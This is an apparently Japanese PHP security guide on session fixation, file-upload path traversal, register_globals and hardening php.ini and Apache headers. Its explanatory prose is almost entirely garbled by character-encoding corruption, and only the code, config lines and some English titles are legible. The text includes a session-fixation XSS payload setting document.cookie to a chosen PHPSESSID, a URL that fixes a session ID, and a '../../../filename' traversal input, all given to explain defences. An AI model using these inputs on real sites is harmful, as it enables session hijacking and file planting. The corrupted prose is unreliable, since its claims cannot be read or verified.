function get_fingerprint() { // ����Ŭ������̩��ʸ����(������̾�䥢�ץꥱ�������̾�ʤɤǤ��ɤ��Ȼפ��ޤ�������¬�Ǥ��ʤ������ɤ��Ȼפ��ޤ�) $fingerprint = 'secret'; if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) { $fingerprint .= $_SERVER['HTTP_USER_AGENT']; } if ( ! empty( $_SERVER['HTTP_ACCEPT_CHARSET'] ) ) { $fingerprint .= $_SERVER['HTTP_ACCEPT_CHARSET']; } $fingerprint .= session_id(); return md5( $fingerprint ); } // ���å����γ��� session_start(); if ( ! isset( $_SESSION['fingerprint'] ) ) { // �ȥåץڡ���(��������ڡ����ذ�ư) exit; } $fingerprint = get_fingerprint(); if ( $fingerprint !== $_SESSION['fingerprint'] ) { // ���å����ϥ�����å��� // �����νФ������顼���� exit; } // �ե����ץ��Ȥå�������Ͽ $_SESSION['fingerprint'] = $fingerprint; // ³���ν���
(2006.06.20 ����)
�嵭�Υ����ɤΰ������ְ㤨�Ƥ����Τǽ������ޤ���($_SERVER['fingerprint']
=> $_SESSION['fingerprint']
)����Ŧ���Ƥ������ä������ɤ��⤢�꤬�Ȥ��������ޤ�����
���å���ϻ��˥ե����ץ��Ȥμ����Ȱ��פ��뤫��ɾ����Ԥ������Ǥ��Τǡ�������ˡ�Ǥ���С����˺����Ѥߤ� Web ���ץꥱ���������Ȥ߹���Τ��ñ�Ǥ�����̩�˥��å����ϥ�����å����ɻߤ���ΤϺ���Ǥ�������ñ�ʥ��å����ϥ�����å��к��ΰ�ĤȤ��Ƥ�ͭ�����⤷��ޤ���
�����ʥ桼�������Ѥ��륻�å���� ID ��Ԥ����ꤹ�뤳�Ȥˤ�ꡢ����Ԥ˥��å���� ID ���Τ�줿���֤ˤʤäƤ��ޤ�����Ǥ��������ʥ桼��������Ԥ����ꤷ�����å���� ID �Τޤޡ�Web ���ץꥱ�������˥���������硢����Ԥ�����������֤ˤʤꡢ�Ŀ;������߸���줿�ꡢ�ǡ������������ʤɡ����ˤ�äƤϴ�����������ǽ��������ޤ���
(2006.08.31 ����) �ʲ��ε��Ҥϴְ�äƤ��ޤ���������Ǥ� Session Fixation ���н褷�����ȤˤϤʤ�ޤ���Ŧ�����������ä��⾲���ɤ��⤢�꤬�Ȥ��������ޤ�����
����������ñ�˲�褹����ˡ�Ȥ��Ƥϡ�session_regenerate_id()
����Ѥ�����ˡ������ޤ����㤨�С��ʲ��Τ褦�ˡ�session_start()
��¹Ԥ����塢���å�����ѿ������ꤵ��Ƥ��ʤ���硢session_regenerate_id()
��¹Ԥ��ޤ���
<?php session_start(); if ( ! isset( $_SESSION['initiated'] ) ) { session_regenerate_id(); $_SESSION['initiated'] = true; } ?>
(2006.08.31 �ɲ�)
�嵭����ˡ�Ǥϡ���˹���Ԥ������оݤΥ����Фǥ��å�����ȯ�Ԥ������������������å���� ID �Υ����Ф������ʥ桼���˻��ꤷ�ƥ����Ф�ͶƳ���뤳�Ȥǡ�Session Fixation ���⤬��ǽ�Ǥ���
�����н���ˡ�Ȥ��Ƥϡ��ʲ�����ˡ���ͤ����ޤ���
�����������������ޤǡ����å�����ȯ�Ԥ��ʤ�
�桼��������������������������ǡ����������å�����ȯ�Ԥ��ޤ��������ʥ桼���������������������ޤǥ��å����ȯ�Ԥ���ʤ����ᡢ����Ԥ�ľ�ܥ��å���� ID ����ꤹ�뤳�Ȥ��Բ�ǽ�ˤʤ�ޤ����桼���������������ˡ����å�������ɬ�פʤ������ƥ�Ǥ���С�Session Fixation ������н���ˡ�Ȥ���ͭ���Ǥ���ȹͤ����ޤ���
���������������ʤɡ��桼���θ��¤��ѹ����������ǥ��å���� ID ���ѹ�����
���������������˥��å���� ID ��Ԥ��Τ����ʤ��ͤ��ѹ�����С�����Ԥ��桼���Υ�������������Υ��å���� ID ���Τ뤳�ȤϤǤ��ޤ�����ˤ�ꡢSession Fixation ������н�Ǥ���ȹͤ����ޤ����������������������ˡ����å�����ѿ��˹���Ԥ˱������줿���ޤޤ�Ƥ��ʤ�����桼���������å��Ǥ���褦�ˤ��������������⤷��ޤ���PHP �Ǥϡ�session_regenerate_id()
��¹Ԥ��뤳�Ȥǡ����å���� ID ���ѹ����뤳�Ȥ��Ǥ��ޤ���
�ޤ����ʲ����к���Ԥ����ȤǤ⡢Session Fixation ����β�ǽ�����㤯���뤳�Ȥ���ǽ�Ǥ����嵭���Ȥ߹�碌�뤳�Ȥǡ��������ʥ��å���������Ԥ����Ȥ��Ǥ��뤫�⤷��ޤ���
php.ini �� ini_set()
�ǡ�session.use_cookies
�� session.use_only_cookies
��ξ����ͭ���ˤ���
PHP �ǤϤ��������Ԥ��ȡ����å��������� Cookie �Τߤ���Ѥ���GET �� POST �ˤ�륻�å���� ID �λ���ϤǤ��ʤ��ʤ�ޤ����̥ɥᥤ�� Cookie ��ȯ�Ԥ���ΤϺ���Ǥ��Τǡ�Session Fixation �����������ǽ�����㤯���뤳�Ȥ��Ǥ���ȹͤ����ޤ���ini_set()
����Ѥ�����ϡ�session_start()
��¹Ԥ����������ꤷ�Ƥ���������
����Ȥ��ơ������������ȥ�����ץƥ�����ǽ�ʾ��䡢Ʊ���ɥᥤ��ǹ���Ԥ� HTML ���ѹ����븢�¤���äƤ�����ϡ�������ˡ�����Ǥ��н�Ǥ��ޤ���
IP ���ɥ쥹�����å���Ԥ�
���å���ϻ��˥��å�����ѿ��� IP ���ɥ쥹��Ͽ�������ȹ礷�ޤ���IP ���ɥ쥹���㤦���ϥ��顼�Ȥ��ư��������å���������ʤɤ��н��Ԥ��ޤ���
������ˡ�ϡ����ꤵ�줿�Ķ��Ǥ��к��Ȥ��Ƥ�ͭ�����ȹͤ����ޤ����������Ĥ����꤬����ޤ�������Ԥ������ʥ桼�����ץ������ʤɤ����Ѥ��Ƥ��ơ�Ʊ�� IP ���ɥ쥹�Ȥʤ���Ϥ�����ˡ�Ǥ��н�Ǥ��ޤ��ޤ��������������Ȥ˰㤦 IP ���ɥ쥹�ˤʤ�褦�ʴĶ��Ǥϡ������Ȥ����ѤǤ��ʤ��ʤ��ǽ��������ޤ���
����н���ˡ����Ѥ���� PHP �Ǥ� Session Fixation ����ϲ���Ǥ���ȹͤ����ޤ�����Session Fixation ����������ˤĤ��ƹͤ��Ƥߤޤ�������¬�ǽƤ�����ʬ������ޤ��Τǡ��ְ㤤�����뤫�⤷��ޤ��������٤Ȥ������Ȥˤ��Ƥ���������
��ͭ�ɥᥤ�����Ѥ��Ƥ�����
Ʊ���ɥᥤ�����Ѥ��Ƥ��ơ������оݤΥ�����ץȤ� Cookie Path �����ꤷ�Ƥ��ʤ���С����å���� ID ��ȯ�Ԥ��Ƥ��鹶���оݤ� URI ��ͶƳ���뤳�ȤǴ�ñ�� Session Fixation ��������������Ȥ���ǽ�Ǥ���
�֥饦���Υɥᥤ��ǧ��������
�Ť��֥饦���Ǥϡ�Session Fixation �ϥ֥饦���Υɥᥤ���ǧ��������ǡ��ºݤˤϰ㤦�ɥᥤ��ʤΤˡ�Ʊ���ɥᥤ���ǧ�����Ƥ��ޤ����ɥᥤ��� Cookie ���������Ƥ��ޤ��ݤ˵������ǽ��������ޤ�(Cookie Injection Vulnerabilities (2004.09.20 ������))��
�ޤ��ϡ�a.example.jp �� b.example.jp �Ȥ����̤δ����Ԥ��������Ƥ��룲�ĤΥɥᥤ��ˤ����ơ�a.example.jp �� example.jp �Ȥ����ɥᥤ��� Cookie ��ȯ�Ԥ�����ˡ�b.example.jp ��ˬ���� b.example.jp �� example.jp �Ȥ����ɥᥤ��� Cookie ���������뤳�ȤˤʤꡢSession Fixation ����Ω�����ǽ��������ޤ���
PHP �������
PHP �ϡ�php.ini �� session.use_only_cookies
(�ǥե����:0(̵��)) �� 1
(ͭ��)�Ǥʤ����ϡ�Cookie �ʳ��� GET �� POST �˴ޤޤ�륭���å���� ID �Ȥ��ƻ��Ѥ��ޤ�������Ū�ˤϡ����å���� ID �Ȥ��ơ�session.name
(�ǥե���ȤǤ� "PHPSESSID"
) �ǻ��ꤵ�줿̾�����Ȥ����ͤ� Cookie ������������ʤ��ä���硢GET �� POST �Υ����å���� ID �Ȥ��ƻ��Ѥ��ޤ���
�㤨�С�session_start()
��ޤ� PHP ������ץȤ����֤��ơ��ʲ��Τ褦�� URI ����ꤷ�ޤ���
http://www.example.com/session.php?PHPSESSID=0123456789abcdefghijklnmopqrstuv
���å�������¸���Ƥ���ǥ��쥯�ȥ�(�ǥե����: /tmp) ��ȡ��ʲ��Υե����뤬��������ޤ���
sess_0123456789abcdefghijklnmopqrstuv
���Υ��å���� ID �Τޤޡ�Web ���ץꥱ�������˥�������� Session Fixation ���⤬�������뤳�Ȥˤʤ�ޤ���
PHP 4.3.11 �dz�ǧ�����Ȥ����Ǥϡ�GET ��ȯ�Ԥ������å���� ID �δ����� Cookie �����ؤ���ȥ��å���� ID ���Ѥ�뤳�Ȥ��ǧ���ޤ�����GET �ʤɤˤ�äƻ��ꤷ�����å���� ID ���³������ˤϡ�GET �� POST ��Ʊ�����å���� ID ����ꤷ³���뤫��Cookie �ˤ��Υ��å���� ID ����Ͽ����ɬ�פ�����ޤ�����Cookie ����Ͽ����Τ� Javascript �ʤɤ�Ȥ�ʤ������Ȼפ��ޤ���
Session Fixation ����Ω����褦�ʥ����Ȥϡ�php.ini �� session.use_trans_sid
��ͭ���ˤ��Ƥ��뤫������� SID
��Ȥäơ�Cookie �����ѤǤ��ʤ��֥饦���Ǥ⥻�å������³�Ǥ���褦�ˤ��Ƥ���Τ��⤷��ޤ���
(2005.07.17 �ɵ�)
�����������ȥ�����ץƥ����ȼ�����¸�ߤ��륵���ȤǤϡ�Javascript ����Ѥ���д�ñ�� Cookie ���ͤ����ꤵ���뤳�Ȥ��Ǥ��ޤ���
�㤨�С��ʲ��Τ褦�� Javascript �������ळ�Ȥ���������С����ꤷ�����å���� ID �� Cookie ��ȯ�Ԥ������塢��������ڡ�����ͶƳ���������ǽ�Ǥ���
document.cookie='PHPSESSID=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';location.href='login.php'
���å�����Ϣ�ν��������դ��٤������������ȥ�����ץƥ��������ǽ��褦�ˡ�session_id()
������� SID
����Ѥ��Ƥ����硢�嵭�� session_regenerate_id()
����Ѥ��뤫��htmlspecialchars()
����Ѥ��ƥ�������������ԤäƤ��ʤ���硢�����������ȥ�����ץƥ��������Ȥ��Ǥ��ޤ��Τ����դ��Ƥ���������
Session Fixation Vulnerability in Web-based Applications (acros)
PHP and Session Fixation (Hardened PHP-Project)
SecurIT-Advisory 2005-001 URL��������ID����ä����å��������������ȼ���(2) (SecurIT)
SecurIT-Advisory 2000-001 Cookie����Ѥ���URL��������ID����ä����å��������������ȼ���(1) (SecurIT)
Cookie��İ�ˤ��Web���ץꥱ�������ϥ�����å��δ������Ȥ����к� (SecurIT)
PHP Security Guide: Sessions (PHP Security Consortium)
PHP �Ǥϡ���ñ�˥��åץ����ɤ��줿�ե����������ε�ǽ������Ƥ��ޤ����ե����륢�åץ����ɽ�����Ԥ��ݤˤϡ�PHP �ޥ˥奢��: �ե����륢�åץ����ɤν�����ɬ���ɤ�褦�ˤ��Ƥ���������
����Ū�ʥե����륢�åץ����ɽ����Ȥ��Ƥ� $_FILES
���������Ѥ��� is_uploaded_file()
�ǥ��åץ����ɤ��줿����ե����뤬���������ɤ������ǧ����move_uploaded_file()
��Ǥ�դΥǥ��쥯�ȥ�˰�ư�����뤳�Ȥǥե����륢�åץ����ɤ�Ԥ��ޤ���
��������PHP 4.3.8 �����Ǥ� PHP �ޥ˥奢�����Τޤ�����ԤäƤ�����硢Ǥ�դξ��˥ե�����åץ����ɤ�����ǽ���Τ������꤬��𤵤�Ƥ��ޤ���
[Full-disclosure] Bug with .php extension? �ǻ�Ŧ����Ƥ����ΤǤ����������о�� test.php.rar �Ȥ��� PHP �Υ����ɤ��줿�ե����뤬¸�ߤ��Ƥ��ơ�http://www.example.com/test.php.rar �Τ褦�˥����������줿��硢����������ɤ����ΤǤϤʤ���PHP �Υ����ɤȤ��Ƽ¹Ԥ���Ƥ��ޤ��Ȥ�������Ǥ���
����ϡ�Apache �� mod_mime �λ���(Apache mod_mime �⥸�塼��: ʣ���γ�ĥ�ҤΤ���ե�����)�������Ǥ���
PHP �Ǥϡ��ե����륢�åץ����ɤ�����դ��륹����ץȤǡ��ե�����̾�Τޤ���¸�����硢Ǥ�դ� PHP ������ץȤ��¹Ԥ���Ƥ��ޤ���ǽ��������ޤ����ʲ������Ƥ˳���������ϴ����Ǥ���
�ե����륢�åץ����ɤ�����դ��Ƥ���
�ե����륢�åץ����ɻ��˻��ꤵ�줿�ե�����̾�Τޤ���¸���Ƥ���
���Υե������ľ�ܥ�����������Ĥ��Ƥ���
����������н���ˡ�Ȥ��Ƥϡ����åץ����ɤ��줿�ե�������¸���˥����ॹ����פ� sha1()
�ʤɤΥϥå���ؿ��ʤɤˤ�ꡢ�ե�����̾���ѹ�������ˡ������ޤ���
�̾CGI �ϼ¹Ը��¤�ɬ�פǤ�����PHP �� Apache �⥸�塼��Ǽ¹Ԥ���Ƥ����硢�¹Ը��¤����פʤ��ᡢ��ĥ�Ҥä� PHP ������ץȤåץ����ɤ��줿���˹��⤬�������Ƥ��ޤ���ǽ�����⤤�ȹͤ����ޤ��Τǡ��ե����륢�åץ����ɤ�����դ��Ƥ���������դ��Ƥ���������
�ե����륢�åץ����ɻ��Υ������ƥ��ۡ���Ȥ��ơ��ʲ���2�Ĥ����꤬��𤵤�Ƥ��ޤ����ܺ٤ˤĤ��Ƥϡ��ʲ��Υڡ����ǤޤȤ�Ƥ��ޤ��Τǡ�������Ȥ��Ƥ���������
PHP Memory Leak and Arbitrary File Location Upload Vulnerabilities (2004.09.20 ���������)
Overwrite $_FILE array in rfc1867 - Mime multipart/form-data File Upload (2004.10.03 ���������)
PHP 4.3.6 �����Ǥϡ�$_FILES['form_name']['name']
�ˡ�..
��ޤ�뤳�Ȥ���ǽ�Ǥ��ꡢPHP 4.3.7 �� ..
���ޤޤ�Ƥ������Ϻ�������褦�˽������줿�ΤǤ������̤�����ˤ�ꡢPHP 4.3.6 ������Ʊ���褦�ˡ�$_FILES['form_name']['name']
�� ..
��ޤ�뤳�Ȥ���ǽ�ˤʤäƤ��ޤ��Ȥ�������Ǥ���
��������ϡ�$_FILES['form_name']['name']
�� ..
���ޤޤ줿��硢PHP �ޥ˥奢��˽�Ƥ�������ץ��̤�˽������Ԥ��Ƥ�����硢httpd �˽��߸��¤�����Ǥ�դΥǥ��쥯�ȥ�˥ե�����åץ����ɤ���Ƥ��ޤ���ǽ��������ޤ���
���˱Ѹ��Ǥ� PHP �ޥ˥奢��ǤϽ�������Ƥ��ޤ������ʲ����㤬������Ƥ��ޤ�������������̤�˥ե�����Υ��åץ����ɽ�����ԤäƤ�����硢����ˤʤ�ޤ��������ߤϽ�������Ƥ��ޤ���
�� 20-2. �ե�����Υ��åץ����ɤڤ���
... $uploaddir = '/var/www/uploads/'; $uploadfile = $uploaddir. $_FILES['userfile']['name']; print "<pre>"; if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { print "File is valid, and was successfully uploaded. "; print "Here's some more debugging info:\n"; print_r($_FILES); } else { print "�ե����륢�åץ����ɹ���줿��ǽ��������ޤ����ǥХå���Ϣ����:\n"; print_r($_FILES); } ?>
������ǡ�$_FILES['userfile']['name']
�ˡ�../../../filename
�Ȥ������ǡ�..
���ޤޤ줿�ѿ������Ϥ��줿��硢���Υǥ��쥯�ȥ�˽��ย�¤�����С��ե����륢�åץ����ɤ��������Ƥ��ޤ��ޤ���
����������Ф����к��Ȥ��ơ�basename()
����Ѥ�����ˡ�����Ƥ��ꡢPHP �ޥ˥奢��αѸ��ǤǤϡ����˰ʲ��Τ褦�˽�������Ƥ��ޤ���
$uploadfile = $uploaddir. basename($_FILES['userfile']['name']);
basename()
����Ѥ���ʳ��ˤ⡢$_FILES['form_name']['name']
�Τޤ��Ѥ���������ɽ���Ǵ����̤��ʸ����ǹ�������Ƥ��뤫�ɤ���������å�����褦�ˤ��Ƥ����ꤢ��ޤ���
PHP 4.1.1 �����ˤϡ��ʲ��Τ褦�ˡ��ե����륢�åץ����ɽ��������˴����ʥ������ƥ��ۡ��뤬¸�ߤ��ޤ���
��������� PHP ������ץ�¦�Ǥ��н�Ǥ��ޤ������꤬��������Ƥ��ʤ��С������ϻ��Ѥ��ʤ��Ǥ���������
Advisory 01/2002 PHP remote vulnerabilities (e-matters)
PHP Post File Upload Buffer Overflow Vulnerabilities (Security Focus)
PHP��¿���ΥХåե��������С��ե�������ˤ�ꡢ�����С�����⡼�Ȥǥ������������ (Symantec Security Response)
PHP �ˤ�����ʣ�����ȼ�������⡼�Ȥ��饻�����ƥ������륨�����ץ����Ȥ�ή�� (ISSKK)
register_globals
�� On
�ˤʤäƤ����硢�֥饦�����������ä� GET��POST��Cookie �ʤɤ��ѿ���ưŪ�˥������Х��ѿ�����Ͽ���ޤ�����������register_globals
�ϥ������Х��ѿ����������꤫�� Off
�ˤ��뤳�Ȥ��侩���졢PHP 4.2.0 �ʹߤǤϥǥե���Ȥ� Off
�ˤʤäƤ��ޤ���
register_globals
�������ˤĤ��Ƥϡ�PHP �ޥ˥奢��: �������Х��ѿ�����Ͽ��ǽ�λ���ˡ�Ȥ��Ƥ���������
PHP Manual: Miscellaneous Questions: How do I deal with register_globals? �ǰʲ��Τ褦�� register_globals = off
�ߥ�졼�Ȥ�������㤬����ޤ���
<?php // Emulate register_globals off function unregister_GLOBALS() { if (!ini_get('register_globals')) { return; } // Might want to change this perhaps to a nicer error if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) { die('GLOBALS overwrite attempt detected'); } // Variables that shouldn't be unset $noUnset = array('GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES'); $input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array()); foreach ($input as $k => $v) { if (!in_array($k, $noUnset) && isset($GLOBALS[$k])) { unset($GLOBALS[$k]); } } } unregister_GLOBALS(); ?>
PHP �θŤ�������ץȤǤ� register_globals = On
�Ǥ��뤳�Ȥ�����ȤʤäƤ����Τ⤢�ꡢ�ߴ����ؤ���θ���� php.ini �� .htaccess �ʤɤ� register_globals = On
�����ꤵ��Ƥ��뤳�Ȥ�����ޤ���������ѹ����� Off
�ˤǤ�����ɤ��ΤǤ���������ե�������ѹ�����褦�ʸ��¤��ʤ����ޤ��ϻ���ˤ�ꡢ�ѹ��Ǥ��ʤ���硢�嵭�Υ�����ץȤ� register_globals
�� Off
�ˤʤäƤ���Τ�Ʊ�ͤξ��֤ˤ��뤳�Ȥ��Ǥ��ޤ���
PHP 4.4.0 ������ PHP 5.0.5 �����ΥС������� register_globals = On
�ˤ��Ƥ���ȡ�$GLOBALS
�ѿ��������Ȥ����������ƥ����꤬��𤵤�Ƥ��ޤ����ޤ���import_request_variables()
�ؿ���extract()
�ؿ���parse_str()
�ؿ���foreach
�ʤɤǤ� $GLOBALS
�ѿ��ξ�β�ǽ��������ޤ��Τǡ����դ��Ƥ����������äˡ�register_globals = On
�ξ��֤� PEAR ����Ѥ��Ƥ����硢Ǥ�դ� PHP �����ɤ�¹Ԥ��뤳�Ȥ���ǽ�Ǥ������ξ��ϴ����Ǥ��Τǡ�PHP 4.4.1 �ʾ塢PHP 5.1.0 �˥С�����åפ��뤫���������ƥ�����ν��� Patch ��Ŭ�Ѥ��Ƥ���������
PHP�θ��ԥ����˽�����ȼ�����PHP4.4.0�ʲ���PHP5.0.5�ʲ��� - �ޤȤ�(yohgaki's blog) �Ǥ�������ˤĤ��Ƥ��ʤ�ܤ����ޤȤ���Ƥ��ޤ���
PHP�θ��ԥ����˽�����ȼ�����PHP4.4.0�ʲ���PHP5.0.5�ʲ��� - �ޤȤ� (yohgaki's blog)
PHP�θ��ԥ����˽�����ȼ�����PHP4.4.0�ʲ���PHP5.0.5�ʲ��� - ����2 (yohgaki's blog)
PHP/tips/register_globals=on��ɬ�פʥ��ץ��к� (wiki.ohgaki.net)
Advisory 20/2005: PHP File-Upload $GLOBALS Overwrite Vulnerability (Hardened-PHP)
$GLOBALS Overwrite and it's Consequences (Hardened-PHP)
PHP ����Ѥ��Ƥ��뤳�Ȥ�С����������Ȥ��Ƥ⡢�������ƥ��к��ˤʤ�Ȥϸ����ޤ���Web �����ФΥС�������ޤޤ�Ƥ���⥸�塼��ƹ����Ԥ��褦�ʥ�ब�и��������Ȥ⤢��ޤ��Τǡ���ɬ�פʾ�������ʤ������ɤ��Ȼפ��ޤ���
Web �����ФȤ��� Apache ����Ѥ��Ƥ����������ȡ�PHP ����Ѥ��Ƥ��뤳�Ȥ��ä���������ˡ��Ƥ����ޤ���
PHP ���̾HTTP �Υ쥹�ݥإå��˰ʲ��Τ褦�ʹԤ���Ϥ��ޤ���
X-Powered-By: PHP/4.3.9
�������Ϥ��ʤ��褦�����ꤹ��ˤϡ�php.ini �ǰʲ��������Ԥ��ޤ���
expose_php = Off
�ޤ��������˸������Ƥ��륵���Фǡ�PHP �Υ��顼��ɽ������ȡ�PHP ����Ѥ��Ƥ��뤳�Ȥ�ʬ���äƤ��ޤä��ꡢ�ǥ��쥯�ȥ깽���� SQL �ǻ��Ѥ��Ƥ���ǡ����١���̾��ơ��֥�̾�ʤɡ����פʾ���ϳ��뤳�Ȥ�����ޤ��Τǡ��ʲ��Τ褦�����ꤷ�Ƥ������ɤ��Ȼפ��ޤ���
display_errors = Off
���Ѥǻ��Ѥ��Ƥ��륵���ФǤϡ������ơ����顼��ȯ�����Ƥ��ʤ������ǧ���Ƥ���������
PHP �ޥ˥奢�� : PHP�α����Υڡ����ˤϡ�PHP ��ư������ĥ�Ҥ��ѹ�������ˡ�����Ƥ��ޤ��������ޤǤ���ɬ�פ����뤫�ɤ�����ʬ����ޤ���ɬ�פʾ������ꤷ�Ƥ���������
Apache �� PHP ���Ȥ߹������硢HTTP �Υ쥹�ݥإå��� PHP ���Ȥ߹��ޤ�Ƥ��뤳�Ȥ�������ޤ���
Server: Apache/1.3.31 (Unix) PHP/4.3.9
������ˤϡ�httpd.conf �˰ʲ���������ɲä��ޤ����ܤ����ϡ�Apache Core Features : ServerTokens �ǥ��쥯�ƥ��� �Ȥ��Ƥ���������
ServerTokens Prod
�ʲ��Τ褦�ˤʤ�ޤ��Τǡ�PHP ���Ȥ߹��ޤ�Ƥ��뤳�Ȥ�ʬ����ʤ��ʤ�ޤ���
Server: Apache
�ޤ���http.conf �� ErrorDocument
�Dz������ꤷ�Ƥ��ʤ���硢Apache �Υ��顼�ڡ����ǥС���������ɽ������ޤ��Τǡ��ʲ��������ԤäƤ������ɤ��Ȼפ��ޤ���
ServerSignature Off
php.ini ������ǥ������ƥ�����˴ط�����Ȼפ������������������Ƥߤޤ������ǥե�����ͤ� PHP �ޥ˥奢��: php.ini �ǥ��쥯�ƥ����ͤˤ��Ƥ��ޤ���
����̾ | �ǥե������ | �侩����(��) | ���� |
---|---|---|---|
register_globals | Off | Off | �ü���ѿ�(GET/POST/Cookie/�������ѿ�/�Ķ��ѿ��ʤ�)�����Х��ѿ�����Ͽ���ޤ���
����ޤǤ�¿���Υ������ƥ������ȯ�������Ƥ�����ǽ�Ǥ���;������ͳ���ʤ��¤�� On �ˤ��٤��ǤϤ���ޤ��� |
magic_quotes_gpc | On | Off | GET/POST/Cookie �� ��\�ס�"�ס�'�ס�\0�פ�ưŪ�˥���������(addslashes() �ؿ���Ŭ��)���ޤ���
�����ʵ�ǽ�Τ褦�˻פ��뤫�⤷��ޤ��������̵���ˤ������������Ǥ���
���ε�ǽ�ˤ�ä� SQL ������������ NULL �Х��ȹ���ʤɤΥ������ƥ���������Ǥ��뤳�Ȥ⤢��ޤ�����Shift_JIS �ʤɤ�ʸ�������ɤ�
������ʸ���˥Хå�����å��夬�դ��ʤɡ��Զ�礬�����뤳�Ȥ�¿���ʤ�ޤ���
���ε�ǽ����餺���ѿ����ѻ���Ŭ�ڤʥ��������פ�ԤäƤ��������� |
default_chaset | "" | "UTF-8" | header() �ؿ��ʤɤ�����Ū��ʸ�������ɤ���ꤷ�ʤ��¤ꡢHTTP �����إå��� default_chaset ��
���ꤷ���ͤ����Ѥ���ޤ��������ͤ����ꤵ��Ƥ��ʤ���硢�֥饦����ʸ�������ɤ�ưǧ������ΤǤ�����UTF-7 �ȸ�Ƚ�ꤵ���뤳�Ȥˤ�ä�
�����������ȥ�����ץƥ���ȯ�������뤳�Ȥ��Ǥ����Ȥ�������⤢��ޤ����Τǡ�Ŭ�ڤ��ͤ����ꤷ�����������Ǥ���
����:ʸ�������ɤ� UTF-7 ����Ѥ��������������ȥ�����ץƥ����� |
expose_php | On | Off | PHP ����Ѥ��Ƥ��뤳�Ȥ��Τ餻�뵡ǽ�Ǥ���HTTP �쥹�ݥإå��� X-Powered-By: PHP/(version) ��ɽ������ޤ���
�ޤ���Off �ˤ���ȡ�phpinfo() �� PHP �Υ�����ɽ������ʤ��ʤ�ޤ��� |
error_reporting | NULL | E_ALL | ���顼����٥�Ǥ���ini_set() �Ǥ��ѹ��Ǥ��ޤ��� |
display_errors | On | Off(On) | ���顼��ȯ���������˥֥饦����ɽ�����ޤ�����ȯ���� On �������ɤ��Ȼפ��ޤ����������˸�������ݤ� Off �ˤ��٤��Ǥ��� |
log_errors | NULL | On | ���顼������Ͽ���뤫�ɤ��������ꤷ�ޤ���error_log �˻��ꤷ���ե�����˽��Ϥ���ޤ���
error_log ��̤����(NULL)�ξ��ϡ�Apache �Υ��顼�����˵�Ͽ����ޤ��� |
open_basedir | NULL | "/path/to/path" | PHP �ˤ�äƳ������Ȥ��Ǥ���ե����������Υǥ��쥯�ȥ�����¤��ޤ��������ǽ�Ǥ�������ꤷ�Ƥ��������������Ǥ��� |
disable_functions | "" | phpinfo,eval | ����δؿ���̵���ˤ��ޤ�(������ڤ�)��ɬ�פ˱����ơ����ꤷ�Ƥ��������� |
enable_dl | On | Off | PHP ��ưŪ�⥸�塼���ĥ��ǽ(dl() �ؿ�)��ͭ���ˤ��ޤ���
��ĥ�⥸�塼���ưŪ���ɤ߹���ɬ�פ��ʤ����� Off �ˤ��Ƥ��������������Ǥ��� |
file_uploads | On | Off(On) | �ե����륢�åץ����ɤ���Ĥ��ޤ����ե����륢�åץ����ɤ�Ԥ�ʤ���硢Off �ˤ��Ƥ����Ȱ����Ǥ��� |
upload_max_filesize | "2M" | "2M" | �ե����륢�åץ����ɤǼ�����������ե����륵�����Ǥ��� �ե����륢�åץ����ɤ�ͭ���ˤ������ɬ�פ˱��������¤Ƥ������ɤ��Ȼפ��ޤ��� |
allow_url_fopen | On | Off | �ե�������ؿ�(fopen() , file() , include() , ...)
�� http://... �ʤɤ� URI �Ǥ�ե������Ʊ�ͤ˳�����褦�ˤʤ�ޤ��������Υ����Ф���ե�������������ɬ�פ��ʤ���� Off ��
���Ƥ����������ɤ��Ȼפ��ޤ��� |
allow_url_include | Off | Off | PHP 5.2.0 ��Ƴ�����줿����Ǥ��������� PHP ������ץȤ����Ѥ���Ȥ������Ȥ��̾�ɬ�פ���ޤ���Τǡ�Off �ˤ��Ƥ����٤��Ǥ���
On �ˤ���ȡ�include() , include_once() , require() , require_once() �� URL �б�
�� fopen ��åѡ������ѤǤ���褦�ˤʤ�ޤ������ε�ǽ�� allow_url_fopen �� On �ˤʤäƤ��ʤ��Ȼ��ѤǤ��ޤ���
PHP 5.2.1 ����ϡ�data: ��������� php: ��������⤳��������оݤˤʤ�ޤ����� |
session.save_path | "" | "/path/to/path/" | ���å�������¸������ꤷ�ޤ���/tmp �Τ褦�ˡ�¾�Υ桼������ե�����ΰ�����������褦�ʾ��� ���ꤹ�٤��ǤϤ���ޤ���¾�Υ桼�����ɤ߹��ߤǤ��ʤ��褦�ˤ��Υǥ��쥯�ȥ�θ��������ԤäƤ��顢���� Path ����ꤷ�Ƥ��������� |
session.use_cookies | 1 | 1 | ���å���� ID �μ����Ϥ��� Cookie ����Ѥ��ޤ��� |
session.use_only_cookies | 0 | 1 | PHP 4.3.0 �ʹߤǻ��Ѳ�ǽ�Ǥ������å����ν����� Cookie �ΤߤǹԤ��ޤ�����ͳ���ʤ���� 1 ��
���Ƥ��������� |
session.auto_start | Off | Off | ���å�����ưŪ�˳��Ϥ��ޤ�����ưŪ�˳��Ϥ�����åȤϤ��ޤꤢ��ޤ���Τ� Off �Τޤޤ��ɤ��Ȼפ��ޤ��� |
session.cookie_lifetime | 0 | 0 | ���å���� Cookie ����¸���֤����ꤷ�ޤ���0 ����ꤹ��ȡ��֥饦�����Ĥ���ޤǤ�ͭ�����֤ˤʤ�ޤ���
���Τޤޤ�����ʤ��Ȼפ��ޤ��� |
session.cookie_path | "/" | "/path/to/path" | ���å���� Cookie ��ȯ�Ԥ���ǥ��쥯�ȥ����ꤷ�ޤ��� ����Υǥ��쥯�ȥ�Ǥ������å�������Ѥ��ʤ��������ꤷ�Ƥ��������� |
session.gc_maxlifetime | 1440 | 1440 | ���å�������¸���֤���ñ�̤����ꤷ�ޤ���ɬ�פ˱��������ꤷ�Ƥ������������ޤ�Ĺ�����֤����ꤷ�ʤ��Ǥ��������� |
session.use_trans_sid | 0 | 0 | Ʃ��Ū�ʥ��å���� ID ���ղä�Ԥ����ɤ�������ꤷ�ޤ����ä���ͳ���ʤ���� 0 �ˤ��Ƥ��������������Ǥ��� |
